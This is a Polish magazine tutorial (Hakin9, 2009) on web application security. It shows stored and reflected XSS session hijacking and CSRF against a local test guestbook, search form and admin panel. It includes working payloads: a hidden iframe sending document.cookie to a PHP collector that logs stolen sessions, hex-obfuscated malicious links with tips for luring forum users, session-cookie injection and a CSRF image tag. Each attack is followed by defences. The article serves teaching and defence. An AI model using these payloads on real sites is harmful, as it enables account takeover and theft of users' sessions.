// DB_HOST, DB_USER, DB_PASS, DB_NAME

class

cLogin

{

private

$mysqli

;

private

$interval

;

private

$session_name

;

private

$user

;

public

function

__construct

()

{

$this

->

interval

=

1000

;

// liczba sekund zalogowania

$this

->

session_name

=

'hackin9'

;

}

public

function

__destruct

()

{

if

(

$this

->

mysqli

)

$this

->

mysqli

->

close

();

}

private

function

connect_db

(

$db_host

,

$db_user

,

$db_pass

,

$db_name

)

{

$this

->

mysqli

=

new

mysqli

(

$db_host

,

$db_user

,

$db_pass

,

$db_name

);

if

(

mysqli_connect_errno

())

return

false

;

return

true

;

}

public

function

log_in

(

$user

,

$pass

,

$db_host

=

DBHOST

,

$db_user

=

DBUSER

,

$db_pass

=

DBPASS

,

$db_name

=

DBNAME

)

{

if

(

!

$this

->

mysqli

&& !

$this

->

connect_db

(

$db_host

,

$db_user

,

$db_pass

,

$db_name

))

{

return

false

;

}

// zabezpieczenie przed SQL-injection

$user

=

mysql_escape_string

(

$user

);

$pass

=

mysql_escape_string

(

$pass

);

$format

=

'SELECT 1 from users WHERE '

.

' login = "%s" AND pass = password("%s")'

;

$query

=

sprintf

(

$format

,

$user

,

$pass

);

if

(

!

$result

=

$this

->

mysqli

->

query

(

$query

))

return

false

;

// bledne zapytanie

if

(

$result

->

num_rows

==

0

)

return

false

;

// nie ma takiego usera

$result

->

close

();

$this

->

user

=

$user

;

$info

=

array

(

// stworz informacje o użytkowniku

'user'

=>

$this

->

user

,

'hash'

=>

$this

->

md5_hash

,

'time'

=>

time

()

+

$this

->

interval

);

// i zapisz ją w sesji

$_SESSION

[

$this

->

session_name

]

=

$info

;

return

true

;

}

public

function

is_logged

()

{

// użytkownik wcale nie jest zalogowany lub minął czas

if

(

!

isset

(

$_SESSION

[

$this

->

session_name

])

||

$_SESSION

[

$this

->

session_name

][

'time'

]

<

time

())

return

false

;

// wszystko ok - wydłuż zalogowanie o $this->interval

$_SESSION

[

$this

->

session_name

][

'time'

]

=

time

()

+

$this

->

interval

;

$this

->

user

=

$_SESSION

[

$this

->

session_name

][

'user'

];

return

true

;

}

public

function

get_user_name

()

{

return

$this

->

user

;

}

}

?>

background image

OBRONA

62

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

63

HAKIN9

9/2009

A także klasę cLogin odpowiedzialną

za logowanie (hackin9/xss/
cLogin.php
) – kod widoczny na Listingu
27.

Oraz tradycyjnie plik konfiguracyjny

hackin9/config.php – Listing 28.

Dodaj jeszcze do tabeli w bazie

danych użytkownika (będziemy kraść
sesję tego użytkownika) – Listing 29.

Brakuje jeszcze dwóch plików:

hackin9/xss/inputs.txt oraz hackin9/
xss/hacker/stolenSessions.htm.
Stwórz
je. W obu umieść tylko po jednej spacji.
Po tych wszystkim zabiegach drzewo
katalogów powinno się prezentować jak
na Rysunku 3.

Jeśli już to wszystko zrobiłeś, czas

na pokazanie przykładowych psikusów
(do nich nie musisz się logować,
logowania użyjemy za chwilę).

Dodawanie własnego kodu do

strony – w pole tekstowe wpisujemy kod
pokazany na Listingu 31.

I wstawiamy na stronie obrońców

praw zwierząt piękną reklamę futer z
norek.

Uprzykrzanie życia
użytkownikowi

Wpisujemy kod widoczny na Listingu 31.
Przy każdym ruszeniu myszą będzie się
pojawiał komunikat.

Kradzież klienta

Listing 32 – zaraz po wczytaniu tego
kodu, zostaniemy przeniesieni na stronę
konkurencji. Do zastosowania np. w
komentarzach do produktów na stronie
e-sklepu.

Zbieranie informacji
o użytkownikach

Oprócz kodu, który może być irytujący
lub szkodzić interesom firmy (przez
odstraszanie lub podkradanie
klientów) może się jeszcze trafić kod,
który spowoduje, że nasz system
zostanie narażony na prawdziwe
niebezpieczeństwo. Stanie się to,
kiedy napastnik przejmie kontrolę nad
którymś kontem.

Krok 1 – zalogowanie się na stronie
(patrz Rysunek 4) używając przeglądarki
1 (może to być np. Firefox).

Listing 28.

Kod pliku z konfiguracją hackin9/config.php

<?PHP

if

(

$CONFIG_INCLUDE

!==

true

)

die

(

"Błąd konfiguracji"

);

define

(

'DBHOST'

,

'localhost'

);

define

(

'DBNAME'

,

'test'

);

// na tej bazie danych będziemy pracować

define

(

'DBUSER'

,

'user'

);

// używając tego użytkownika

define

(

'DBPASS'

,

'pass'

);

?>

Listing 29.

Dodanie nowewgo użytkownika do bd

INSERT

INTO

users

VALUES

(

'user'

,

password

(

'pass'

));

Listing 30.

Dodawanie swojego kodu HTML do kodu strony

<a

href=

'http://reklama.pl'

><img

src=

'http://hacker.net/images/banner.jpg'

></a>

Listing 31.

Dodanie skryptu JS utrudiającego poruszanie się po stronie

<script>window

.

addEventListener

(

'mousemove'

,

alert

(

'a'

)

,

false

);

</script>

Listing 32.

Podkradanie klienta

<script>document

.

location

=

'http://konkurencja.pl'

</script>

Listing 33.

Złośliwy kod HTML

Fajna strona. Naprawdę mi się podoba!

<iframe

width=

"0"

height=

"0"

frameborder=

"0"

src=

"javascript:void(document.location

='http://127.0.0.1/hackin9/xss/hacker/index.php?cookie='+doc
ument.cookie)"

></iframe>

Listing 34.

Kod strony hackin9/xss/hacker/index.php

<?PHP

function

add

(

$cookie

,

$server

)

{

$date

=

date

(

"j/F/Y g:i a"

);

$ip

=

$server

[

'REMOTE_ADDR'

];

$addr

=

$server

[

'HTTP_REFERER'

];

$info

=

sprintf

(

'data: %s, numer sesji: <b>%s</b>, ip: %s, adres: %s<hr />'

,

$date

,

$cookie

,

$ip

,

$addr

);

$file

=

fopen

(

'stolenSessions.htm'

,

'a+'

);

fwrite

(

$file

,

$info

);

fclose

(

$file

);

}

if

(

isset

(

$_GET

[

'cookie'

]))

{

add

(

$_GET

[

'cookie'

],

$_SERVER

);

}

?>

Listing 35.

Frtagment pliku stolenSessions.htm

data: 1/May/2009 9:06, numer sesji: PHPSESSID=s5dkog2j0k8oa836g2dn66m0k2,
ip: 127.0.0.1, adres: http://127.0.0.1/xss/index.php

background image

OBRONA

64

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

65

HAKIN9

9/2009

Krok 2 – (patrz Rysunek 5.) za pomocą
przeglądarki 2 (np. Safari – musi być
to inna przeglądarka niż ta z kroku 1)

wchodzimy na stronę księgi gości i
dodajemy wpis zawierający niebezpieczny
kod widoczny na Listingu 33.

Jak widać całość sprawia wrażenie

normalnego wpisu do księgi gości
– pływająca ramka (iframe) jest
niewidoczna, ze względu na rozmiary,
jakie jej nadaliśmy. Nie zmienia to
jednak faktu, że istnieje i wczytuje
stronę. Jaka to będzie strona?
http://127.0.0.1/hackin9/xss/hacker/index
.php?cookie='+document.cookie
Kod strony hacker/index.php jest
widoczny na Listingu 34.

Kod z Listingu 34. pozwala

zapisywać w pliku stolenSessions.htm
ciągi znaków zawierające przydatne do
kradzieży sesji dane.

W pliku stolenSessions.htm

zapisywane są dane podobne do tych
prezentowanych na Listingu 35.

Szczególnie interesuje nas

pogrubiony fragment Listingu 35. Jest
to numer sesji naszej ofiary.

Krok 3 – wejdźmy ponownie na stronę
księgi gości (za pomocą przeglądarki
1) i jeśli nie jesteśmy zalogowani
– zalogujmy się, zobaczymy wpis dodany
z przeglądarki 2 (patrz Rysunek 6).

Krok 4 – za pomocą przeglądarki
2 otwieramy stronę. http://127.0.0.1/
hackin9/xss/hacker/stolenSessions.htm

(patrz Rysunek 7), kopiujemy informacje
o numerze sesji (pogrubiony i
podświetlony kawałek), przechodzimy
na stronę księgi gości i zapisujemy
numer sesji w przeglądarce 2 poprzez
wpisanie w polu adresu przeglądarki 2
(u mnie – Safari) kodu JS widocznego
na Listingu 36.

Gdzie

PHPSESSID=95d86g3mi52d9

dj65q63t71f96

to numer sesji pobrany

ze strony stolenSessions.htm – może i
pewnie będzie inny. Pamiętaj, aby użyć
apostrofów albo cudzysłowów – tak jak
w przykładowym kodzie. Nie musisz,
a nawet nie powinieneś podawać
żadnego protokołu, patrz Rysunek 8.

Krok 5 – przechodzimy za pomocą
przeglądarki 2 na stronę http://127.0.0.1/
hacking9/xss/
i... jesteśmy zalogowani!
Bez logowania. Właśnie ukradliśmy cudzą
sesję.

Przechwyciliśmy sesję. System

logowania myśli, że ma do czynienia

Rysunek 5.

Wprowadzanie niebezpiecznego kodu HTML z pomocą formularza

Rysunek 6.

Wygląd księgi gości po dodaniu złośliwego kodu

Rysunek 7.

Wygląd strony stolenSessions.htm

Rysunek 8.

Zapisywanie numeru skradzionego numeru sesji do przeglądarki

napastnika

background image

OBRONA

64

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

65

HAKIN9

9/2009

z tym samym użytkownikiem,
który zalogował się uprzednio na
przeglądarce 1 (na rysunkach
Firefox).

Jak się przed tym zabezpieczyć?

Można zastosować dwupoziomowe
uwierzytelnianie użytkownika:

• Zwykłe logowanie oparte o sesję.
• Pobieranie danych o systemie

operacyjnym, przeglądarce, IP itp.
(tablica superglobalna $_SERVER
w PHP oferuje sporo informacji
o internaucie). Odpowiednio
zaszyfrowane dane przechowujemy
w sesji. Za każdym razem w ten
sam sposób tworzymy token i
porównujemy z tym, zapisanym w
sesji.

Poprawki do klasy cLogin są widoczne
na Listingu 37. (porównaj z Listingiem
27).

Podczas logowania (w metodzie

cLogin::log _ in()

) zostaje zapisany

w sesji specjalny 32-znakowy kod
– wartość tego kodu jest uzależniona
od tego jakiej przeglądarki używa
internauta, jakiego systemu
operacyjnego itp. Dzięki temu, aby
podrobić ten kod trzeba by mieć
dokładnie taką samą przeglądarkę
(łącznie z wersją) oraz taki sam
system operacyjny. Dodatkowo można
to wzmocnić dodając numer IP.
Dodanie do ciągu wejściowego

$this->sault

sprawia, że nawet jeśli

ktoś dowiedziałby w jaki sposób jest
generowany ten kod, trudniej byłoby
mu odgadnąć wartość dodaną przez
serwer.

Powyższa klasa nie pozwoli już

na kradzież sesji w sposób opisany
wcześniej. Należy pamiętać, aby
bezwarunkowo i zawsze traktować
dane pochodzące z zewnątrz jako
zagrożenie dla bezpieczeństwa
naszego systemu. Jeśli pozwalamy
użytkownikowi wprowadzać dane, które
potem będziemy wyświetlać innym
użytkownikom, to należy:

• Zamienić znaczniki na odpowiednie

kody. Np.

'<' = '&lt;'

, za pomocą

funkcji

htmlentities()

Listing 36.

Kod JS, który należy wpisać w pole adresu przeglądarki

javascript

:

void

(

document

.

cookie

=

'PHPSESSID=95d86g3mi52d9dj65q63t71f96'

)

Listing 37.

Poprawiony kod klasy cLogin

class

cLogin

{

// wszystkie poprzednie właściwości

protected

$

sault

;

// do ochrony przeciw xss

protected

$

md5_hash

;

// do ochrony przeciw xss

public

function

__construct

()

{

$

this

->

interval

=

1000

;

$

this

->

session_name

= '

hackin9

'

;

$

this

->

sault

= '

hackin9_xss

'

;

$

this

->

xss_protection

();

}

private

function

xss_protection

()

{

$

data

= $

_SERVER

[

'

HTTP_USER_AGENT

'

];

$

this

->

md5_hash

=

md5

(

$

data

.

$

this

->

sault

);

// WAŻNE

}

public

function

log_in

(

$

user

,

$

pass

,

$

db_host

=

DBHOST

,

$

db_user

=

DBUSER

,

$

db_pass

=

DBPASS

,

$

db_name

=

DBNAME

)

{

// bez zmian – wkleić stamtąd

$

info

=

array

(

'

user

' => $

this

->

user

,

'

hash

' => $

this

->

md5_hash

,

// jedyna zmiana

'

time

' =>

time

()

+ $

this

->

interval

);

$

_SESSION

[

$

this

->

session_name

]

= $

info

;

return

true

;

}

public

function

is_logged

()

{

if

(

!

isset

(

$

_SESSION

[

$

this

->

session_name

])

||

$

_SESSION

[

$

this

->

session_name

][

'

time

'

]

<

time

())

return

false

;

// NAJWAŻNIEJSZA ZMIANA

if

(

$

this

->

md5_hash

!= $

_SESSION

[

$

this

->

session_name

][

'

hash

'

])

{

return

false

;

// ktos probuje ukrasc sesje

}

$

_SESSION

[

$

this

->

session_name

][

'

time

'

]

=

time

()

+

$

this

->

interval

;

$

this

->

user

= $

_SESSION

[

$

this

->

session_name

][

'

user

'

];

return

true

;

}

}

?>

Listing 38.

Kod strony index.php

<html><body>
<form

action=

'index.php'

method=

"get"

>

<table>

<tr><td>

<input

type=

"text"

name=

"s"

value=

"<?PHP echo $_GET['s']; ?>"

/>

</td></tr>

<tr><td><input

type=

'submit'

value=

'szukaj'

/></td></tr>

</table>

</form>
</body>
</html>

background image

OBRONA

66

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

67

HAKIN9

9/2009

lub

• Usunąć znaczniki, np. za pomocą

funkcji

strip _ tags()

.

lub

• Zakazać jakiegokolwiek

formatowania wprowadzanych
danych za pomocą HTML
(można pozwolić używać np.
bbcode).

XSS metodą GET (non-

persistant XSS)

Przedstawiona powyżej metoda działa
statycznie – kod zostaje zapisany i za
każdym razem wyświetlany wszystkim
odwiedzającym stronę. Można także
skorzystać z metody GET (wstawiając
złośliwy kod w adres url) i przesłać
komuś link z groźnym kodem.

Często na stronach znaleźć możemy

wyszukiwarkę. Dla wygody internauty
wykorzystuje się w niej metodę GET,

dzięki czemu można komuś wysłać
link odpowiednim zestawem słów
kluczowych i innych ustawień. Załóżmy,
że posiadamy stronę z wyszukiwarką
widoczną na Listingu 38.

Wpiszmy teraz w pole taką frazę:

"><input type="text" value="zawładnę
światem

W polu adresu pojawi się coś bliżej

nieokreślonego (Listing 39).

A obok dotychczasowego jednego

pola pojawi się drugie (Rysunek 10).

Listing 39.

URL widoczny po wysłaniu spreparowanej frazy

http://127.0.0.1/hackin9/xss2/index.php?s=%22%3E%3Cinput+type%3D%22text%22+value%3D%22zaw%C5%82adn%C4%99+%C5%9Bwiatem

Listing 40.

URL widoczny po wysłaniu spreparowanej frazy

Krzysztof Kolumb">

<iframe

width=

"0"

height=

"0"

frameborder=

"0"

src=

"javascript:void(document.location='http://127.0.0.1/xss/hack

er.php?cookie='+document.cookie)"

></iframe>

Listing 41.

Spreparowany link

http://127.0.0.1/xss/wyszukiwarka.php?s=Krzysztof+Kolumb%22%3E%3Ciframe+width%3D%220%22+height%3D%220%22+frameborder%3D%220%22+s

rc%3D%22javascript%3Avoid(document.location%3D%27http%3A%2F%2F127.0.0.1%2Fxss%2Fhacker.php%3Fcookie%3D%27%
2Bdocument.cookie)%22%3E%3C%2Fiframe%3E%3Cimg+width%3D%220%22+height%3D%220%22+border%3D%220%22+src%3D%22

Listing 42.

Kod wywołujący ponownie tę samą stronę – już bez wstrzykiwania złośliwego kodu

Krzysztof+Kolumb">

<iframe

width=

"0"

height=

"0"

frameborder=

"0"

src=

"javascript:void(document.location='http://127.0.0.1/xss/hack

er.php?cookie='+document.cookie)"

></iframe>

<script>document

.

location

=

'http://127.0.0.1/hackin9/xss2/?s=Krzysztof+Kolumb'

;

</script>

Listing 43.

Odpowiednio przygotowany link, ukrywający niosący kod

http://127.0.0.1/hackin9/xss2/?s=Krzysztof+Kolumb%22%3e%3c%69%66%72%61%6d%65%20%77%69%64%74%68%3d%22%30%22%20%68%65%69%67%68%7

4%3d%22%30%22%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%22%30%22%20%73%72%63%3d%22%6a%61%76%61%73%63%72%69%
70%74%3a%76%6f%69%64%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%
32%37%2e%30%2e%30%2e%31%2f%78%73%73%2f%68%61%63%6b%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%6
3%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%22%3e%3c%2f%69%66%72%61%6d%65%3e%a%3c%73%63%72%69%70%74%3e%64%6f%
63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%2f%68%6
1%63%6b%69%6e%39%2f%78%73%73%32%3f%73%3d%4b%72%7a%79%73%7a%74%6f%66%2b%4b%6f%6c%75%6d%62%27%3b%3c%2f%73%63
%72%69%70%74%3e

Listing 44.

Poprawiony kod wyszukiwarki

<html>
<body>
<form

action=

'index.php'

method=

"get"

>

<table>

<tr><td>

<input

type=

"text"

name=

"s"

value=

"<?PHP echo htmlentities($_GET['s']); ?>"

/>

</td></tr>

<tr><td><input

type=

'submit'

value=

'szukaj'

/></td></tr>

</table>

</form>
</body>
</html>

background image

OBRONA

66

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

67

HAKIN9

9/2009

Skoro możemy zrobić coś takiego,

możemy też wstawić tam ukrytą
pływającą ramkę, która będzie robić
dokładnie to samo, co poprzednio
– wysyłać dane do zdalnego
serwera!

Jak spreparować taki kod?

Na Listingu 40. widać kod, który wstawi
pływającą ramkę. Niestety jest jeszcze
jedna rzecz, która zdradza, że coś jest
nie tak. To znaki " /> na końcu. Można
się tego pozbyć na kilka sposobów:

• Dokleić na koniec poprzedniego

ciągu znaków:

„<span

style="color: #fff">”

co

spowoduje wizualne ukrycie.

• Dokleić do końca

„<img

width="0" height="0"
border="0" src="”.

Drugi sposób wydaje mi się lepszy.
Tak więc, należy komuś przekazać, np.
na jakimś forum pisząc zobacz jaki
fajny link
ciąg znaków widoczny na
Listingu 41.

Co gdy użytkownik nie będzie taki

zwykły i zajrzy w kod strony? Zauważy,
że coś tam jest namieszane.

Należy zwrócić uwagę na ostatnią

linię Listingu 42 – po wykonaniu
złośliwego kodu spowoduje
wyświetlenie strony http://127.0.0.1/
hackin9/xss2?s=Krzysztof+Kolumb
.
Nawet bardzo uważny internauta może
nie dostrzec, że coś się stało.

Nadal widać pewien problem.

W linku tym można się dopatrzyć
dziwnych słów jak iframe, script
czy document.cookie. To może
spowodować, że ktoś nie zdecyduje się
kliknąć w ten link.

Listing 45.

Kod formularza do zobrazowania ataków CSRF

<?PHP

session_start

();

?>

<html><body>
<h1>

Panel administracyjny

</h1>

<?PHP

$CONFIG_INCLUDE

=

true

;

include_once

(

'../config.php'

);

$mysqli

=

new

mysqli

(

DBHOST

,

DBUSER

,

DBPASS

,

DBNAME

);

function

add

(

$mysqli

,

$name

)

{

$name

=

mysql_escape_string

(

htmlentities

(

$name

));

$q

=

sprintf

(

'INSERT INTO list VALUES("%s")'

,

$name

);

return

$mysqli

->

query

(

$q

);

}

function

read

(

$mysqli

)

{

$q

=

'SELECT * FROM list'

;

$result

=

$mysqli

->

query

(

$q

);

$arr

=

array

();

while

(

$row

=

$result

->

fetch_assoc

())

$arr

[]

=

$row

[

'name'

];

$result

->

close

();

return

$arr

;

}

include_once

(

'cLogin.php'

);

$login

=

new

cLogin

();

if

(

$login

->

is_logged

())

{

?>

<form

action=

"index.php"

method=

"post"

>

<p>

Dodaj:

<input

type=

"text"

name=

"name"

/>

<input

type=

"submit"

name=

"add"

value=

"zapisz"

/></p>

</form>

<?PHP

// tylko user moze dodawac nowe tresci

if

(

$login

->

get_user_name

()

===

'user'

)

{

if

(

isset

(

$_REQUEST

[

'add'

]))

{

add

(

$mysqli

,

$_REQUEST

[

'name'

]);

}

}

$list

=

read

(

$mysqli

);

$n

=

count

(

$list

);

echo

'<ul>'

;

for

(

$i

=

0

;

$i

<

$n

;

$i

++

)

echo

'<li>'

.

$list

[

$i

]

.

'</li>'

;

echo

'</ul>'

;

}

else

{

?>

<h2>

Zaloguj

</h2>

<form

action=

"login.php"

method=

"post"

>

<input

type=

"text"

name=

"login"

/>

<input

type=

"password"

name=

"pass"

/>

<input

type=

"submit"

value=

"zaloguj"

/>

</form>

<?PHP

}

$mysqli

->

close

();

?>
</body></html>

Register_globals

Dawniej często wykorzystywało
się skrócony zapis. Np. zmienna
$_POST['a'] mogła zostać użyta jako
$a. Teraz domyślnie jest to wyłączone
– opcja register_globals = Off w pliku
php.ini. Zarówno korzystanie ze tablicy
$_REQUEST, jak i włączenie register_
globals jest niebezpieczne i należy tego
unikać.

background image

OBRONA

68

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

69

HAKIN9

9/2009

Spróbujmy to zmienić. Zakodujmy

to! Każdy znak można zapisać w
postaci jego kodu (np. spacja to '%20').
Przeglądarka potrafi sobie z tym
poradzić, bez problemu. Przeciętny
człowiek – raczej nie.

Za pomocą strony http:

//centricle.com/tools/ascii-hex/,
Zakodujemy ciąg z Listingu 42.
Otrzymamy to co widzimy na Listingu
43.

Początek wkleiłem już po

zakodowaniu. Możesz wkleić taki link na
forum albo podesłać komuś na gg. Po
chwili internauta udostępni nam swoje
dane, o czym nawet nie będzie wiedział
– z powodu dodania skryptu JS
przenoszącego pod adres rzeczywiście
oczekiwanej strony.

Jak się przed tym zabezpieczyć?

Nie pozwalać na to, aby kod html trafiał
na stronę. Do zabezpieczenia przed tym
dobrze jest zastosować funkcje:

htmlentities($code)

– zmienia

kod html na encje np. > zmienia na
&gt; itp.,

strip _ tags($code) –

całkowite

usunięcie tagów HTML z ciągu
znaków.

• Jeśli chcemy umożliwić

użytkownikowi dodawanie np.
formatowania tekstu w księdze
gości to warto się zastanowić nad
użyciem gotowego systemu typu
BBcode, który zawiera dokładnie
taki zakres znaczników, jaki chcemy
dać internaucie.

Można wstawić ogranicznik długości
podanej frazy, co choćby częściowo
może nas zabezpieczyć.

Poprawiony kod wyszukiwarki

można przeanalizować na Listingu 44
(porównaj z Listingiem 38).

I to już pozwala nam spać trochę

spokojniej. Oczywiście – w przypadku
wyszukiwarki należy nadal pamiętać

o atakach SQL Injection. System
zabezpieczeń jest tak dobry jak jego
najsłabsze ogniwo.

Cross-Site

Request Forgery

(CSRF lub XSRF) to metoda ataku na
serwis internetowy. Ofiarami CSRF
stają się użytkownicy nieświadomie
przesyłający do serwera żądania
spreparowane przez osoby o wrogich
zamiarach. W przeciwieństwie do XSS,
ataki te nie są wymierzone w strony
internetowe i nie muszą powodować
zmiany ich treści. Celem hakera jest
wykorzystanie uprawnień ofiary do
wykonania operacji wymagających jej
zgody.

Dla zobrazowania zasady działania

tego ataku przygotowałem formularz
widoczny na Listingu 45.

Jedynie użytkownik o nazwie

user może dodawać nowe wpisy.
Wykorzystana tu tablica superglobalna
$_REQUEST pozwala na zapisywanie
danych pobieranych zarówno metodą
GET jak i POST.

Zagrożenia

Jeśli użytkownik o loginie user jest
zalogowany, można podać mu
spreparowany kod, który spowoduje
zapis danych do bazy bez jego wiedzy
i zgody.

Na przykład, taki z pozoru niegroźny

kod jaki widać na Listingu 46, zapisze
nową pozycję do listy.

Jak widać zamiast obrazka zostanie

wczytany skrypt – tak, można to zrobić!
Wywołaliśmy skrypt z Listingu 45. który
zapisze coś do bazy danych.

Co gorsze, użytkownik nawet nie

będzie wiedział, że cokolwiek się stało,
gdyż nie zobaczy żadnego komunikatu,
a bez analizy kodu takiej strony nie jest
w stanie dostrzec ukrytego obrazka.
Rozwiązanie:

• Należy unikać stosowania tablicy

$_REQUEST (i zawsze wyłączać
register_globals – lub jeśli nie
mamy dostępu do php.ini – unikać
ich stosowania) w jej miejsce w
newralgicznych miejscach stosować
metodę POST (zamiast GET)

Rysunek 9.

Zalogowany z użyciem przechwyconej sesji

Rysunek 10.

Dynamiczne dodanie kodu

background image

OBRONA

68

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

69

HAKIN9

9/2009

– metodą POST trudniej podsunąć
spreparowany link.

• Należy używać jednorazowego

tokena. Token ten raz
wygenerowany powinno się
zapisać w sesji oraz przesłać
razem z formularzem. Dzięki
czemu można założyć z dużym
prawdopodobieństwem, że ktoś

chce wykonać żądaną akcję
– wypełnił samodzielnie formularz.
O ile można samemu przesłać
wygenerować wartość jakiegoś
tokena (wypełniając tym puste
pole formularza), to praktycznie
niewykonalnym jest odgadnięcie
jaką wartość ma rzeczywisty token
generowany przez serwer.

Zmodyfikujmy formularz – dodając
ukryte pole token, tak aby był on
odporniejszy na taki atak. Patrz
Listing 47.

Wprowadźmy zmiany w kodzie PHP,

tak jak na Listingu 48.

Sprawdzamy, czy dany użytkownik

ma prawo zapisu (czy login == user)
oraz czy token użytkownika jest
identyczny z tym przesłanym poprzez
formularz.

Dodatkowo generujemy nowy token

– za każdym przeładowaniem strony
tworzony jest nowy – jednorazowy
– token.

Przy takich zabezpieczeniach

zagrożenie wykorzystania uprawnień
użytkownika bez jego wiedzy i zgody
zdecydowanie maleje.

Podsumowanie

Bezpieczeństwo tworzonych przez nas
aplikacji – choć często niewidoczne
– jest kwestią najważniejszą. Niech
zdanie przecież działa od dziś nie
przechodzi Wam przez gardło.

Przedstawiony w tym artykule

materiał to dopiero wierzchołek góry
lodowej. Mam jednak nadzieję, że taki
wstęp sprawi, iż chętniej będziemy
sięgać po kolejne porady, artykuły czy
książki. Niestety w polskim Internecie
nie ma zbyt wielu interesujących źródeł.
Pozostają jednak zawsze globalne
zasoby sieci WWW.

Gdybyś chciał poczytać o lukach

w zabezpieczeniach znanych w Polsce
stron www, oto ciekawe linki, które
znajdziesz w Ramce W Sieci.

W Sieci

http://webmade.org/porady/wiersz-polecen-mysql-windows.php – porada o korzystaniu

z wiersza poleceń do zarządzania systemem bazy danych MySQL,

http://sql.pressmedia.com.pl/ – spis poleceń SQL,
http://cc-team.org/index.php?name=bugtraq – strona o lukach w zabezpieczeniach znanych w Polsce stron www,
www.wikipedia.pl.

Listing 46.

Atak CSRF

<html>
<body>
<h1>

Witaj na stronie!

</h1>

<img

src=

"http://127.0.0.1/hackin9/xsrf/index.php?add=true&name=tosiezapisze"

width=

"0"

height=

"0"

border=

"0"

/>

</body>
</html>

Listing 47.

Zmieniony fragment Listingu 45 – kod HTML

<form

action=

"index_poprawione.php"

method=

"post"

>

<p>

Dodaj:

<input

type=

"text"

name=

"name"

/>

<input

type=

"submit"

name=

"add"

value=

"zapisz"

/></p>

<input

type=

"hidden"

name=

"token"

value=

"<?PHP echo $token; ?>"

/>

</form>

Listing 48.

Zmieniony fragment Listingu 45 – kod PHP

// wlasciwy uzytkownik

if ($login->get_user_name() === 'user') {

// generuj token

$token = md5(time() . $_SERVER['HTTP_USER_AGENT']);

// został wyslany formularz

if (isset($_POST['add'])

// ustawiono w formularzu token

&& isset($_SESSION['token'])

// token pobrany z formularza jest identyczny z tym z sesji

&& $_SESSION['token'] === $_POST['token']) {

// mozemy zalozyc, ze to prawdziwy user i naprawdę chce tego

add($_POST['name']);

}
}

$_SESSION['token'] = $token;

// zapisz nowy token do sesji

Patryk Jar

Autor jest studentem Politechniki Gdańskiej. Zajmuje

się tworzeniem aplikacji internetowych – zarówno

kodem client- jak i server-side. W wolnych chwilach

redaguje serwis webmade.org, moderuje tamtejsze

forum oraz trenuje judo.

Kontakt z autorem: jar.patryk@gmail.com


Wyszukiwarka

Podobne podstrony:
KONWENCJE 09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowicz
Temat 9-10 ISPS 09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowicz
Temat 9-10 ISM -09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowicz
INSPEKCJA PSC - BANDERY 09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowicz
INSPEKCJA KLASYFIKACYJNA 09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowicz
PRZEGLAD ROCZNY 09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowicz
Certyfikaty wymagane na burcie statku 09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowic
KONWENCJE 09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowicz
Temat 9-10 ISPS 09-2009, Zarządzanie bezpieczną eksploatacją statku -Zdanowicz
2009-09-20 Inf- ćwiczenia 1, 5 rok, 1 semestr, informatyka
2009 09 11 232327
PHP i Oracle Tworzenie aplikacji webowych od przetwarzania danych po Ajaksa
2009 09 11 223732
2009 09 12 005407
NWCA Karta katalogowa 2009 09 (PL) i
2009 09 11 231132
2009 09 12 003757
2009 09 wietrznica A program szkolenia
2009 09 11 223252

więcej podobnych podstron